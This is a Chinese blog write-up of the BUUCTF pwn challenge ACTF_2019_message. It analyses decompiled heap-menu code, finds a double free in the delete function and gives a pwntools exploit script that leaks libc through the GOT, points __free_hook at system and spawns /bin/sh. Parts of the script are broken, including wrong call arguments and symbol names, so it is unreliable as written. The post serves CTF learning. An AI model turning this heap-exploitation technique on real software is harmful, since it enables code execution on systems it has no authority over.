BUUCTF-PWN-ACTF_2019_message

一道简单的smc自解密题目 一道简单的smc自解密题目 攻防RE_BABYRE 64位elf,拉入ida 打开main函数 int __cdecl main(int argc, const char **argv, const char **envp) { char s[24]; // [rsp+0h] [rbp-20h] BYREF int v5; // [rsp+18h] [rbp-8h] int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i <= 181; ++i ) 阅读详情

1.checksec+运行

除了PIE,其它保护全开,规矩的堆菜单

2.64位IDA 

1.ADD

{
  int i; // [rsp+8h] [rbp-28h]
  int v2; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( dword_60204C <= 10 )        //全局变量
  {
    puts("Please input the length of message:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( v2 <= 0 )
    {
      puts("Length is invalid!");
    }
    else
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( !*(_QWORD *)&dword_602060[4 * i + 2] )
        {
          dword_602060[4 * i] = v2;
          *(_QWORD *)&dword_602060[4 * i + 2] = malloc(v2);
          puts("Please input the message:");
          read(0, *(void **)&dword_602060[4 * i + 2], v2);
          ++dword_60204C;
          return __readfsqword(0x28u) ^ v4;
        }
      }
    }
  }
  else
  {
    puts("Message is full!");
  }
  return __readfsqword(0x28u) ^ v4;
}

2.Delete

{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_60204C <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( v1 < 0 || v1 > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(*(void **)&dword_602060[4 * v1 + 2]);//释放堆之前没有判断当前指针是否为空
      dword_602060[4 * v1] = 0;               //free之后没有置0
      --dword_60204C;
    }                               //UAF或者Double free漏洞
  }
  return __readfsqword(0x28u) ^ v3;
}

跟进看一下 &dword_602060

 利用double free,利用&dword_602060附件的位置,进而就可以修改&dword_602060的内容,也就可以修改其它chunk

0 chunk的位置  0x602060 -0x8=0x602058

在这个位置上伪造chunk

3.edit

{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_60204C <= 0 )
  {
    puts("No message can you edit");
  }
  else
  {
    puts("Please input index of message you want to edit:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( dword_602060[4 * v1] && v1 >= 0 && v1 <= 9 ) //对size边界检查
    {
      puts("Now you can edit the message:");
      read(0, *(void **)&dword_602060[4 * v1 + 2], (int)dword_602060[4 * v1]);
    }
    else
    {
      puts("Index is invalid!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

4.printf

{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_60204C <= 0 )
  {
    puts("No message in system");
  }
  else
  {
    puts("Please input index of message you want to display:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( dword_602060[4 * v1] && v1 >= 0 && v1 <= 9 )
      printf("The message: %s\n", *(const char **)&dword_602060[4 * v1 + 2]);
    else
      puts("Index is invalid!");
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞利用就是delete函数的free,用double free

但是该题没有直接的后门利用,而且got表不可写,所以不能直接利用plt/got表,需要借助libc中的hook函数

libc中有一些hook函数,malloc_hook、_free_hook函数:

1.__malloc_hook:在malloc之前,检查malloc_hook是否为空,如果不为空,那么就会跳到malloc_hook去先执行它;
2.__free_hook:在free之前,检查free是否为空,如果不为空,就会跳到free_hook去先执行它。
3.源码中  ,__free_hook的参数和free的参数一样,是chunk本身,所以我们可以直接输入/bin/sh,调用__free_hook,执行/bin/sh,执行free,就会执行system

本题我们使用__free_hook,相较malloc_hook会更方便

3.EXP

from pwn import *

context.clear()
context.arch = 'amd64'
context.log_level = 'debug'

name = './ACTF_2019_message'
elf = ELF(name)
libc = ELF('./libc-2.23-64.so')
p = process(name)


def add(size,message):
    p.sendlineafter(b'choice: ' , b'1')
    p.sendlineafter(b'message:\n' , str(size))
    p.sendafter(b'message:\n' , message)


def delete(index):
    p.sendlineafter(b'choice: ' , b'2')
    p.sendlineafter(b'delete:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice: ' , b'3')
    p.sendlineafter(b'edit:\n' , str(index))
    p.sendafter(b'message:\n' , message)

def show(index):
    p.sendlineafter(b'choice: ' , b'4')
    p.sendlineafter(b'display:\n' , str(index))

system_addr = 0
free_hook_addr = 0
libc_base = 0
def libcsearch(leak,func,path=''):
	if path=='':
		
		libc_base = leak - libc.dump(func)
		system_addr = libc_base + libc.dump('system')
		free_hook_addr = libc_base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		libc_base = leak - libc.symbols[func]
		system_addr = libc.symbols['system'] + libc_base
		free_hook_addr = libc.symbols['__free_hook'] + libc_base







add(0x30) #0
add(0x20) #1
add(0x20) #2
delete(1)
delete(2)
delete(1)
#fastbin double free

puts_got = elf.got['puts']
fake =0x602060-0x8 
add(0x20,p64(fake)) #3--->1,直接写到了fd指针
add(0x20)           #4--->2
add(0x20)           #5--->1
add(0x20,p64(puts_got))  #6--->fake
show(0)
p.recvuntil("message: ")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print("------------------",hex(puts_addr))#拿到地址,泄露libc

libc_base = puts_addr - libc.dump('puts_addr')
system_addr = libc_base + libc.dump('system_addr')
free_hook_addr = libc_base + libc.dump('free_hook_addr')
print("------------------",hex(libc_base))
print("------------------",hex(system_addr))
print("------------------",hex(free_hook_addr))

edit(6,p64(free_hook_addr))#将free_hook_addr写到fake内容里

edit(0,p64(system_addr))#编辑0,将其内容改为system
#将free_hook指向了system

add(0x10,"/bin/sh\x00")

delete(7)#执行system,/bin/sh\
p.interactive()

QGIS v3.28 高效加载OSM在线地图的三种实用方法 本文详细介绍了在QGIS v3.28中高效加载OSM在线地图的三种实用方法:通过XYZ Tiles直接连接、使用QuickMapServices插件以及配置WMS/WTMS服务。针对每种方法提供了具体操作步骤、常见问题解决方案和性能优化建议,帮助用户根据需求选择最适合的方案,提升GIS工作效率。 阅读详情

相关推荐

【01、Go与VSCode的安装】

小白学Go语言

wangruil的博客 1536

actf_2019_message

BUU actf_2019_message double free/tcache dup

kjdfklha的博客 519

基于three.js的室内全景3D展馆案例分享

3D场景展厅

acheng 3558

pwn—actf_2019_message(转载)

pwn

INK 297

Ubuntu22.04 网络图标消失与连接故障排查指南(附实战修复流程)

本文详细介绍了Ubuntu22.04系统中网络图标消失与连接故障的排查与修复方法。通过ifconfig、dhclient等命令诊断问题,提供从紧急恢复网络连接到深度排查的完整解决方案,帮助用户快速恢复网络功能并预防类似问题再次发生。

weixin_28481133的博客 287

【matlab】MATLAB 变量详解与应用

在 MATLAB 中,变量可以通过赋值操作进行定义。例如,要定义一个名为xx = 10;在这个例子中,我们创建了一个名为x的变量,并将其赋值为 10。需要注意的是,MATLAB 是一种动态类型语言,因此不需要显式地声明变量的类型。变量名必须以字母开头。变量名可以包含字母、数字和下划线。变量名区分大小写。不要使用 MATLAB 中的关键字(如forif等)作为变量名。

小吴同学的博客 2213

buuctf ACTF_2019_message(tcache bin dup / fastbin dup)

有些图片显示不出来,我懒的在复制粘贴了,可以直接去我笔记里面看 网上的这道题的,大部分的exp都是写的16.04,使用的fastbin double free,但是在buuctf上根本打不通,因为人家都要求了是18.04,,所以这里写了两个版本(均可以打通) buuctf ACTF_2019_message 安全检查:FULL RELRO(got表不可写),GS,NX都开了 菜单题(堆的) 增加函数:判断当前堆指针是否为空,为空就创建 删除函数:一是没有判断该地方是否有值,而是没有将堆指针置空,可能出

qq_36918532的博客 1032

基于车辆运动学的规划算法 - Hybrid A*/ State Lattice Planning (前置知识:自行车模型、Dubins、Reeds Shepp、多项式曲线、螺旋曲线)

本文将按顺序讲解基于车辆运动学的规划算法,以及需要的前置知识:自行车模型、Dubins和Reeds Shepp曲线、多项式曲线和螺旋曲线

BigDavid123的博客 4860

[BUUCTF]-PWN:actf_2019_babystack解析

先看保护再看ida原本我以为会是整数溢出,但是实际上不是。这道题考到了栈迁移,并且还给了我们栈的地址,并且正好是栈顶。

2301_79326813的博客 640

Open3D 从体素网格构建八叉树【2025最新版】

从体素网格构建八叉树,博客长期更新,本文最近更新时间为:2025年1月1日。

点云侠的博客 34万+

基于网关实现不同网段S7-1200 CPU的通信方法

在A网段的计算机上ping B网段的计算机:在A网段的计算机上使用ping命令,向B网段的计算机发送数据包。在B网段的计算机上ping A网段的计算机:同样地,在B网段的计算机上使用ping命令,向A网段的计算机发送数据包。数据包也会经过路由器进行转发,最终到达A网段的计算机。配置路由器:在路由器上配置两个网段的IP地址和子网掩码,并设置路由表,使得路由器可以将A网段和B网段之间的数据进行转发。确定两个网络之间的路由器:假设需要将A网段和B网段进行通信,需要在A、B两个网段之间设置一台路由器。

电工 2400

[BUUCTF-pwn] 鹏城杯_2018_easycalc

保护基本全开,在add时有个off_by_null漏洞。fd位置只能修改。 unsigned __int64 m1add() { unsigned int v0; // ebx unsigned int v2; // [rsp+4h] [rbp-2Ch] BYREF size_t size; // [rsp+8h] [rbp-28h] BYREF __int64 v4; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp

weixin_52640415的博客 466

vs code , 配置 claude code 插件, 默认选项 : --dangerously-skip-permission

摘要:本文介绍如何在VS Code中为Claude Code插件配置--dangerously-skip-permission参数,包含两种方法:图形界面设置(适合新手)和直接编辑settings.json(精准配置)。该参数会跳过权限检查,仅建议在本地测试环境中使用。配置后需通过命令面板验证参数是否生效,并注意安全风险,避免在生产环境使用。多参数配置时需用数组格式,不同版本插件可能键名略有差异。

AI天才研究院 4995

[BUUCTF]PWN——actf_2019_babystack

actf_2019_babystack 附件 步骤: 例行检查,64位程序,开启了nx保护 本地运行一下看看大概的情况,有两次输入 64位ida载入 程序可以输入两次,加上只能覆盖ebp和返回地址,想到的是栈迁移的方法 栈迁移主要就是使用的leave和retn这两条指令,两条指令的实质是 leave:move rbp,rsp;pop rbp retn:pop rdi 利用思路 第一个输入点固定输入0xe0,造成溢出 19行会打印出s在栈上的地址,接收一下,获得栈地址 由于没有现成的system

mcmuyanga的博客 1705

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

BUUCTF pwn actf_2019_babystack

buuctf pwn,典型的ret2libc和栈迁移的结合

zwb2603096342的博客 654

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

buuctf DSACTF7月pwn 栈迁移 ret对齐 修改bss的内容 lea esp, [ecx-4] 64位格式化字符串修改got

文章目录actf_2019_babystack actf_2019_babystack 栈迁移,注意ret对齐 没对齐的: 对齐的: exp: from pwn import * from LibcSearcher import * local_file = './ACTF_2019_babystack' local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so' remote_libc = '/root/glibc-all-in-o

carol2358的博客 1808

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

[冀信2021-pwn] pwn19

这是一个简单的printf+溢出题,可以输入2次6位的串用来printf,然后输入串溢出。 int __cdecl main(int argc, const char **argv, const char **envp) { int v5; // [rsp+Ch] [rbp-34h] __int64 buf[5]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v7; // [rsp+38h] [rbp-8h] v7 = __readfsq

weixin_52640415的博客 2705

[黑盾CTF 2023] secret_message 复现

利用alarm造syscall,利用read填充rax实现syscall(0x3b) execv

weixin_52640415的博客 1443

Pwn actf_2019_message:fastbin double free 做法

那么接下来就是泄露got地址 得到libc基址 得到freehook地址 再让freehook指向system(先将chunk6改为freehook地址 再利用chunk0 改为system)如果需要绕过fastbin对两次free的检查 就需要提前再设置一个0x30大小的堆 来让接下来的创建堆能顺利创建到假chunk的位置。如果double free之后 再申请一个大小相同的堆 ptr所在的位置往前移8字节(0x602058) 假设以此处为假chunk头。再通过给出的函数就能修改假chunk的内容。

qq_33348179的博客 543

攻防世界 Misc高手进阶区 5分题 Avatar

继续ctf的旅程,攻防世界Misc高手进阶区的5分题,本篇是Avatar的writeup

闵行小鱼塘 1106

消息摘要算法+CTF题

MD5(Message-Digest Algorithm 5)是最早且广泛使用的消息摘要算法之一。它产生128位的哈希值,通过一系列的步骤对输入的消息进行处理,包括填充、附加长度信息、进行四轮不同的处理(每轮包含16个步骤),最后输出固定长度的摘要。然而,随着密码分析技术的发展,MD5已经被证明存在严重的碰撞弱点,即存在不同的消息产生相同的哈希值。因此,MD5已经不再适合用于需要高度安全性的场景。

qq_74841412的博客 2146

[BUUCTF-pwn] pragyan_police_academy

直接给flag的题。 先是%s读入有溢出然后用strncmp检查,然后是检查一下串长度是36 int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+8h] [rbp-48h] BYREF int v5; // [rsp+Ch] [rbp-44h] char s1[16]; // [rsp+10h] [rbp-40h] BYREF char v7[40]; // [rsp+20

weixin_52640415的博客 838

[ctfbub.pwn] 练习 16-

ctfhub pwn练习

weixin_52640415的博客 880

XCTF-xxxorrr

XCTF-xxxorrr

TA不懒,但还没有添加简介 1408

noxctf2018_grocery_list&&actf_2019_message

noxctf2018_grocery_list 先是观察函数发现有一个可以泄露栈地址然后通过tcache attack打到栈上泄露libcbase然后再次写入free_hook拿到shell exp: #!/usr/bin/python2 from pwn import * #p=process('./GroceryList') p=remote('node3.buuoj.cn',26988) e...

doudoudedi 629

actf_2019_babystack

actf_2019_babystack 查看保护 溢出0x10个字节,大小不够。栈迁移,s的地址都给了,将payload写入s,改ebp和ret为s地址和leave_ret即可。payload前加8个a让rip成功跳转到payload。 from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node

z1r0的博客 1457
上一篇: BUUCTF-PWN-pwnable_hacknote-UAF
下一篇: BUUCTF-PWN-pwnable_asm-Sandbox
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值